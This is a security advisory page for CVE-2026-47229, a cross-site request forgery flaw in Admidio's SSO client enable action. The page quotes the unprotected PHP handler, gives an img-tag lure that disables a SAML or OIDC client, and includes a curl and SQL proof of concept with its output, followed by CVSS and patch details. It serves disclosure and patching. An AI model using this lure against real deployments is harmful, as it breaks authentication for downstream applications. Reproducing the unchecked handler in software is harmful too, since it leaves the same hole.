Admidio: CSRF in SSO client enable action toggles SAML/OIDC clients without token validation
modules/sso/clients.php validates an adm_csrf_token on every state-changing branch except enable. The enable case loads the SAML or OIDC client by UUID, calls $client->enable($enabled), and persists the new state with no token check. Because the action is reachable via plain GET parameters, a third-party page can trick an authenticated administrator into disabling (or silently re-enabling) any configured SAML or OIDC client. Disabling an SSO client breaks every downstream relying-party application that authenticates through it.
modules/sso/clients.php:84-115 — the file's other branches each begin with SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);, but case 'enable': does not:
```php
case 'delete_oidc':
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$oidcService = new OIDCService($gDb, $gCurrentUser);
$client = $oidcService->getClientFromUUID($getClientUUID);
$client->delete();
echo json_encode(array('status' => 'success'));
break;
case 'enable': // <- no CSRF validation
$enabled = admFuncVariableIsValid($_GET, 'enabled', 'boolean');
$client = new SAMLClient($gDb);
$client->readDataByUuid($getClientUUID);
if ($client->isNewRecord()) {
// Not a SAML record, so try OIDC:
$client = new OIDCClient($gDb);
$client->readDataByUuid($getClientUUID);
}
if ($client->isNewRecord()) {
throw new Exception('SYS_SSO_INVALID_CLIENT');
}
$client->enable($enabled);
$client->save();
echo json_encode(['success' => true]);
break;
```
The enable($enabled) call is documented to set a single boolean column on the SAML / OIDC client row — smc_enabled for SAML, ocl_enabled for OIDC — and save() persists the change immediately. The handler accepts plain GET (admFuncVariableIsValid($_GET, 'enabled', 'boolean')), so a <img src=...> or auto-submitting form is sufficient.
1. Attacker prepares a hostile page that loads (e.g.) <img src="http://victim.example/modules/sso/clients.php?mode=enable&uuid=<known-sso-client-uuid>&enabled=0">. The client UUID can be observed by anyone who has visited the SSO settings, by anyone who has crawled the SAML metadata endpoint, or by anyone with read access to the SSO clients table — but the value is also enumerable: an admin viewing the list of SSO clients in the UI exposes data-uuid attributes in the rendered HTML, and SSO metadata endpoints (e.g. modules/sso/saml.php?metadata=1&uuid=...) confirm valid UUIDs by returning XML.
2. An Admidio administrator visits the hostile page while logged in. The browser sends Admidio's session cookie (which does not set SameSite=Strict).
3. The server runs case 'enable': as the admin, sets smc_enabled=0 (or ocl_enabled=0), and replies {"success":true}.
4. The configured SAML / OIDC client is now disabled. Every downstream application authenticating through it gets SYS_SSO_INVALID_CLIENT on its next AuthnRequest / token-endpoint call. The outage persists until an admin notices and toggles it back on.
The attacker can also flip the bit the other way: silently *re-enabling* a client that an admin had previously deactivated (perhaps because of a security concern with that relying party).
Tested on HEAD c5cde53. To produce a deterministic test target, an SSO client is provisioned directly in the DB:
```
# 0. seed a SAML client
mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio <<'SQL'
INSERT INTO adm_saml_clients (smc_uuid, smc_org_id, smc_client_name, smc_acs_url, smc_enabled,
smc_timestamp_create, smc_usr_id_create)
VALUES ('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee', 1, 'Test SAML', 'https://app.example/acs', 1,
NOW(), 2);
SQL
mariadb ... admidio -e "SELECT smc_uuid, smc_client_name, smc_enabled FROM adm_saml_clients WHERE smc_client_name='Test SAML';"
smc_uuid smc_client_name smc_enabled
aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee Test SAML 1
# 1. CSRF lure — admin's browser, no token supplied, GET only
curl -b $admin_cookie -i \
"http://127.0.0.1:8085/modules/sso/clients.php?mode=enable&uuid=aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee&enabled=0"
HTTP/1.1 200 OK
{"success":true}
# 2. observe the change
mariadb ... admidio -e "SELECT smc_enabled FROM adm_saml_clients WHERE smc_uuid='aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee';"
smc_enabled
0
```
The change persists. The legitimate admin's UI continues to show the client as configured, but every SAML AuthnRequest fails until the bit is toggled back.
In an Admidio deployment that uses SSO for downstream relying parties, a CSRF lure targeted at an administrator results in:
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity low, availability low.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
CVE-2026-47229 is classified as CWE-352: Cross-Site Request Forgery (CSRF). A state-changing request is accepted without proof it was intended, so another site can trigger it using the victim's session.
CVE-2026-47229 is recorded against 2 packages.
Published on 29 May 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
github.com (Package)
admidio/admidio has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-352: Cross-Site Request Forgery (CSRF)) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| admidio/admidio | — | 5.0.10 |
| unknown | — | — |
References
Similar Threats
Vulnerability Monitoring
CVE-2026-47229 is rated CVSS 5.4 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.
Set Up Free Alerts →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.